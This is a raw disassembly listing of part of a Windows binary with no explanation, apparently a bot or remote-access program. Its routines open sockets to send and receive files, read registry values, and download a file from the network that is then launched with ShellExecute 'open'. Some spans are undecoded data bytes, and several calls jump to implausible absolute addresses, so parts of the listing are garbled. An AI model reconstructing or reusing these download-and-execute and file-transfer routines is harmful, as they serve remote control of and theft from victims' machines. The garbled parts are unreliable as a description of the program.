[ebp+var_4] call dword_4CB6B0 loc_41575B: ; CODE XREF: sub_4155F8+153j push [ebp+var_4] call dword_4CB5F4 test eax, eax jz short loc_415778 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CB6B0 loc_415778: ; CODE XREF: sub_4155F8+16Ej push [ebp+var_4] call dword_4CB5F4 test eax, eax jz short loc_415797 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CB6B0 loc_415797: ; CODE XREF: sub_4155F8+18Bj push [ebp+var_4] call dword_4CB5F4 test eax, eax jz short loc_4157B4 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB6B0 loc_4157B4: ; CODE XREF: sub_4155F8+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CB5F4 test eax, eax jz short loc_4157E1 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CB6B0 loc_4157E1: ; CODE XREF: sub_4155F8+63j ; sub_4155F8+D0j ... push [ebp+var_4] call dword_4CB704 mov eax, ebx loc_4157EC: ; CODE XREF: sub_4155F8+39j pop edi pop esi pop ebx leave retn sub_4155F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F1 proc near ; CODE XREF: sub_401ACD+752Fp var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D3280 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CB5A4 mov edi, eax cmp edi, ebx jnz short loc_41582F mov eax, esi jmp loc_415A2B ; --------------------------------------------------------------------------- loc_41582F: ; CODE XREF: sub_4157F1+35j push edi call dword_4CB5F4 test eax, eax jz short loc_41584C push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB6B0 jmp short loc_41584E ; --------------------------------------------------------------------------- loc_41584C: ; CODE XREF: sub_4157F1+47j xor eax, eax loc_41584E: ; CODE XREF: sub_4157F1+59j cmp eax, ebx jnz short loc_415859 loc_415852: ; CODE XREF: sub_4157F1+8Bj ; sub_4157F1+BCj mov ebx, esi jmp loc_415A22 ; --------------------------------------------------------------------------- loc_415859: ; CODE XREF: sub_4157F1+5Fj push edi call dword_4CB5F4 test eax, eax jz short loc_415879 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CB6B0 loc_415879: ; CODE XREF: sub_4157F1+71j cmp [ebp+var_7C], ebx jz short loc_415852 push edi call dword_4CB5F4 test eax, eax jz short loc_41589C push ebx push ebx push 42Ch push edi call dword_4CB6B0 mov [ebp+arg_4], eax jmp short loc_41589F ; --------------------------------------------------------------------------- loc_41589C: ; CODE XREF: sub_4157F1+96j mov [ebp+arg_4], ebx loc_41589F: ; CODE XREF: sub_4157F1+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415852 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C6 push 1 pop ebx jmp loc_415A22 ; --------------------------------------------------------------------------- loc_4158C6: ; CODE XREF: sub_4157F1+CBj push edi call dword_4CB5F4 test eax, eax jz short loc_4158E3 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CB6B0 loc_4158E3: ; CODE XREF: sub_4157F1+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FE mov ecx, 0A0h loc_4158FE: ; CODE XREF: sub_4157F1+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415908 push 78h pop eax loc_415908: ; CODE XREF: sub_4157F1+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CB5F4 test eax, eax jz short loc_41594D push esi push [ebp+arg_4] push 42Dh push edi call dword_4CB6B0 loc_41594D: ; CODE XREF: sub_4157F1+14Aj push edi call dword_4CB5F4 test eax, eax jz short loc_41596A lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CB6B0 loc_41596A: ; CODE XREF: sub_4157F1+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CB5F4 test eax, eax jz short loc_4159A8 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CB6B0 loc_4159A8: ; CODE XREF: sub_4157F1+1A3j push edi call dword_4CB5F4 test eax, eax jz short loc_4159C3 push [ebp+arg_0] push ebx push 414h push edi call dword_4CB6B0 loc_4159C3: ; CODE XREF: sub_4157F1+1C0j push edi call dword_4CB5F4 test eax, eax jz short loc_4159DC push ebx push ebx push 43Eh push edi call dword_4CB6B0 loc_4159DC: ; CODE XREF: sub_4157F1+1DBj push edi call dword_4CB5F4 test eax, eax jz short loc_4159F9 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CB6B0 loc_4159F9: ; CODE XREF: sub_4157F1+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CB5F4 test eax, eax jz short loc_415A22 push ebx push ebx push 40Bh push edi call dword_4CB6B0 loc_415A22: ; CODE XREF: sub_4157F1+63j ; sub_4157F1+D0j ... push edi call dword_4CB704 mov eax, ebx loc_415A2B: ; CODE XREF: sub_4157F1+39j pop edi pop esi pop ebx leave retn sub_4157F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A30 proc near ; CODE XREF: sub_401ACD+25F2p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4368EC, ebx mov [ebp+var_C], 80h jz loc_415BD1 push esi push edi mov eax, offset off_4368EC mov esi, offset dword_4368F8 mov edi, offset dword_437AF0 loc_415A60: ; CODE XREF: sub_415A30+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CB6C4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CB554 test eax, eax jnz loc_415BB7 mov eax, [esi] cmp eax, ebx jz loc_415B7B push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_429AC8 push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB7 push eax loc_415AD9: ; CODE XREF: sub_415A30+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B70 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B06 push [ebp+var_8] jmp short loc_415AD9 ; --------------------------------------------------------------------------- loc_415B06: ; CODE XREF: sub_415A30+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B34 lea eax, [ebp+var_70] push offset asc_437AEC ; "=" push eax call sub_41C0F4 push offset asc_437AEC ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B37 ; --------------------------------------------------------------------------- loc_415B34: ; CODE XREF: sub_415A30+E4j lea eax, [ebp+var_70] loc_415B37: ; CODE XREF: sub_415A30+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_2F0] push eax call sub_4151AD add esp, 18h loc_415B70: ; CODE XREF: sub_415A30+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB7 ; --------------------------------------------------------------------------- loc_415B7B: ; CODE XREF: sub_415A30+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_2F0] push eax call sub_4151AD add esp, 28h loc_415BB7: ; CODE XREF: sub_415A30+60j ; sub_415A30+A2j ... push [ebp+var_4] call dword_4CB630 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A60 pop edi pop esi loc_415BD1: ; CODE XREF: sub_415A30+19j pop ebx leave retn sub_415A30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD4 proc near ; CODE XREF: ___:00416279p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB6D4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C50 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB654 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CB694 cmp eax, esi jnz short loc_415C35 push [ebp+arg_0] call dword_4CB6D8 test eax, eax jz short loc_415C50 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C35: ; CODE XREF: sub_415BD4+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB5FC cmp eax, esi jnz short loc_415C54 push edi call dword_4CB6EC loc_415C50: ; CODE XREF: sub_415BD4+1Bj ; sub_415BD4+58j mov eax, esi jmp short loc_415C56 ; --------------------------------------------------------------------------- loc_415C54: ; CODE XREF: sub_415BD4+73j mov eax, edi loc_415C56: ; CODE XREF: sub_415BD4+7Ej pop edi pop esi leave retn sub_415BD4 endp ; --------------------------------------------------------------------------- word_415C5A dw 8B55h ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h, 8B6D6A57h dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h dd 8D527559h, 0FFEE4C85h, 7B6C68FFh, 0E8500043h, 5BDAh dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 0E8565959h dd 22FA314h, 0D8086890h, 0E8530043h, 3F6Dh, 0FFF88359h dd 8D597559h, 0FFEE4C85h, 7B3C68FFh, 0E8500043h, 5B76h dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6ECh, 0E8F075FFh dd 0FFFF56C3h, 0E8905659h, 22FA2A8h, 0E890646Ah, 228B1E4h dd 0BEFF33h, 56000010h, 0EE4C858Dh, 5057FFFFh, 581BE8h dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h, 4CB66Ch dd 387EC085h, 0EE4C858Dh, 0A468FFFFh, 500042A0h, 6123E8h dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h dd 8DE8646Ah, 900228B1h, 80E80A6Ah, 85FFFF55h, 0A37559C0h dd 0EE4C858Dh, 868FFFFh, 5000437Bh, 5AB1E8h, 0F87D3900h dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h, 0FFFF6C85h dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh dd 59FFFFF3h, 0EC15FF53h, 0FF004CB6h, 0E8F075h, 59FFFF56h dd 0E5E89057h db 0A1h, 2Fh, 2 ; --------------------------------------------------------------------------- loc_415E1B: ; DATA XREF: sub_401ACD+7832o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CB6D4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E69 push offset unk_437C6C jmp loc_416022 ; --------------------------------------------------------------------------- loc_415E69: ; CODE XREF: ___:00415E5Dj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CB654 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CB680 test eax, eax jz short loc_415EA7 push offset unk_437C48 jmp loc_416022 ; --------------------------------------------------------------------------- loc_415EA7: ; CODE XREF: ___:00415E9Bj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CB5F8 push dword ptr [ebp-2Eh] call dword_4CB584 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED9: ; CODE XREF: ___:00415F0Aj mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEC push 5Fh pop eax jmp short loc_415EEF ; --------------------------------------------------------------------------- loc_415EEC: ; CODE XREF: ___:00415EE5j movsx eax, al loc_415EEF: ; CODE XREF: ___:00415EEAj mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED9 push ebx push edi call dword_4CB67C test eax, eax jz short loc_415F22 push offset unk_437B6C jmp loc_416022 ; --------------------------------------------------------------------------- loc_415F22: ; CODE XREF: ___:00415F16j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call near ptr 27308C8h nop cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4C push offset unk_437C28 jmp loc_416022 ; --------------------------------------------------------------------------- loc_415F4C: ; CODE XREF: ___:00415F40j push esi push eax nop call near ptr 2760A61h mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC10 pop ecx push eax call dword_4CB694 push eax call dword_4CB650 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437C10 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A73 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CB63C test eax, eax jg short loc_415FFC push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437BF8 push eax push dword ptr [ebp-1FCh] call sub_409A73 jmp loc_416120 ; --------------------------------------------------------------------------- loc_415FFC: ; CODE XREF: ___:00415FDAj lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB6E8 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416035 push offset unk_437BD4 loc_416022: ; CODE XREF: ___:00415E64j ; ___:00415EA2j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416123 ; --------------------------------------------------------------------------- loc_416035: ; CODE XREF: ___:0041601Bj push edi call dword_4CB6EC cmp [ebp+8], esi jz loc_4160E7 mov edi, 400h loc_41604A: ; CODE XREF: ___:004160DEj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416057 mov [ebp-4], eax loc_416057: ; CODE XREF: ___:00416052j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 27A0000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2730000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CB6A4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CB66C cmp eax, ebx jl loc_41617C mov eax, [ebp-4] cmp eax, ebx jl loc_41617C sub [ebp+8], eax jnz loc_41604A mov edi, [ebp-18h] loc_4160E7: ; CODE XREF: ___:0041603Fj push dword ptr [ebp-8] call near ptr 2690934h nop push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416923 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB6E0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_437BA8 push eax call sub_41B886 loc_416120: ; CODE XREF: ___:00415FF7j add esp, 14h loc_416123: ; CODE XREF: ___:00416030j cmp [ebp-50h], esi jnz short loc_416148 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A73 add esp, 14h loc_416148: ; CODE XREF: ___:00416126j lea eax, [ebp-3FCh] push eax call sub_4151AD cmp edi, esi pop ecx jbe short loc_416160 push edi call dword_4CB6EC loc_416160: ; CODE XREF: ___:00416157j push dword ptr [ebp-1F8h] call dword_4CB6EC push dword ptr [ebp-58h] call sub_40B413 pop ecx push esi nop call near ptr 2710000h loc_41617C: ; CODE XREF: ___:004160CAj ; ___:004160D5j push esi mov esi, offset dword_437B90 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A73 push esi call sub_4151AD add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB6EC push dword ptr [ebp-58h] call sub_40B413 pop ecx push ebx nop call near ptr 2710000h loc_4161BD: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax call near ptr 26A0B90h nop lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429AD0 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call near ptr 27308C8h nop cmp eax, 0FFFFFFFFh jnz short loc_416247 push offset unk_437D0C jmp short loc_41628D ; --------------------------------------------------------------------------- loc_416247: ; CODE XREF: ___:0041623Ej push eax nop call near ptr 2690934h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626F push offset unk_437CDC jmp short loc_41628D ; --------------------------------------------------------------------------- loc_41626F: ; CODE XREF: ___:00416266j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD4 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_4162A0 push offset unk_437CBC loc_41628D: ; CODE XREF: ___:00416245j ; ___:0041626Dj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639C ; --------------------------------------------------------------------------- loc_4162A0: ; CODE XREF: ___:00416286j mov esi, 1000h loc_4162A5: ; CODE XREF: ___:0041630Bj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CB66C mov edi, eax cmp edi, ebx jz loc_41636C cmp edi, 0FFFFFFFFh jz short loc_41630D push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CB650 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CB6A4 jmp short loc_4162A5 ; --------------------------------------------------------------------------- loc_41630D: ; CODE XREF: ___:004162D5j lea eax, [ebp-4C4h] push offset dword_437B90 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A73 lea eax, [ebp-4C4h] push eax call sub_4151AD push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB6EC push dword ptr [ebp-1Ch] call sub_40B413 pop ecx push 1 nop call near ptr 2710000h loc_41636C: ; CODE XREF: ___:004162CCj mov eax, [ebp-8] cdq push edx push eax call sub_416923 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437C90 push eax call sub_41B886 add esp, 14h loc_41639C: ; CODE XREF: ___:0041629Bj cmp [ebp-14h], ebx jnz short loc_4163C1 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A73 add esp, 14h loc_4163C1: ; CODE XREF: ___:0041639Fj lea eax, [ebp-4C4h] push eax call sub_4151AD cmp [ebp-4], ebx pop ecx jz short loc_4163DC push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DC: ; CODE XREF: ___:004163D1j cmp [ebp+8], ebx jbe short loc_4163EA push dword ptr [ebp+8] call dword_4CB6EC loc_4163EA: ; CODE XREF: ___:004163DFj push dword ptr [ebp-1Ch] call sub_40B413 pop ecx push ebx call near ptr 2710000h nop loc_4163FA: ; DATA XREF: sub_401ACD+627Ao ; sub_401ACD+6ABAo push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CB604 call dword_4CB558 cmp eax, esi mov [ebp-18h], eax jz loc_416886 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 27308C8h cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C1 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_437ED8 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A4 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 add esp, 14h loc_4164A4: ; CODE XREF: ___:00416482j lea eax, [ebp-510h] push eax call sub_4151AD push dword ptr [ebp-48h] call sub_40B413 pop ecx pop ecx push esi call near ptr 2710000h nop loc_4164C1: ; CODE XREF: ___:00416462j xor edi, edi nop call near ptr 26C066Dh mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DB: ; CODE XREF: ___:004165AEj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CB560 cmp [ebp-34h], esi jz short loc_41651F push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EC pop ecx pop ecx loc_41651F: ; CODE XREF: ___:0041650Cj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 2720000h cmp edi, ebx jnb short loc_41655D mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416547 mov eax, [ebp+8] loc_416547: ; CODE XREF: ___:00416542j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655D: ; CODE XREF: ___:00416539j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_41656A cmp edi, [ebp-3Ch] ja short loc_4165B4 loc_41656A: ; CODE XREF: ___:00416563j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416584 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437EB0 jmp short loc_416594 ; --------------------------------------------------------------------------- loc_416584: ; CODE XREF: ___:00416570j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437E88 loc_416594: ; CODE XREF: ___:00416582j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43E390 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DB loc_4165B4: ; CODE XREF: ___:00416568j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416609 cmp edi, [ebp-3Ch] jz short loc_416609 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437E5C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 lea eax, [ebp-510h] push eax call sub_4151AD add esp, 28h loc_416609: ; CODE XREF: ___:004165BEj ; ___:004165C3j nop call near ptr 26C066Dh sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call near ptr 2690934h nop push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416693 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416693 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_437E34 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 lea eax, [ebp-510h] push eax call sub_4151AD add esp, 28h loc_416693: ; CODE XREF: ___:0041663Bj ; ___:0041664Dj cmp [ebp-14h], esi jz loc_4168D3 cmp dword ptr [ebp-44h], 1 jz loc_41678E mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276A8 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276A8 fstp qword ptr [esp] push offset unk_437DFC push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670E push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 add esp, 14h loc_41670E: ; CODE XREF: ___:004166ECj lea eax, [ebp-510h] push eax call sub_4151AD cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D3 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CB5C0 cmp [ebp-30h], esi jnz loc_4168D3 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_437DE0 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 lea eax, [ebp-510h] push eax call sub_4151AD add esp, 24h jmp loc_4168D3 ; --------------------------------------------------------------------------- loc_41678E: ; CODE XREF: ___:004166A0j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276A8 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276A8 fstp qword ptr [esp] push offset unk_437D9C push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F6 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 add esp, 14h loc_4167F6: ; CODE XREF: ___:004167D4j lea eax, [ebp-510h] push eax call sub_4151AD push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi 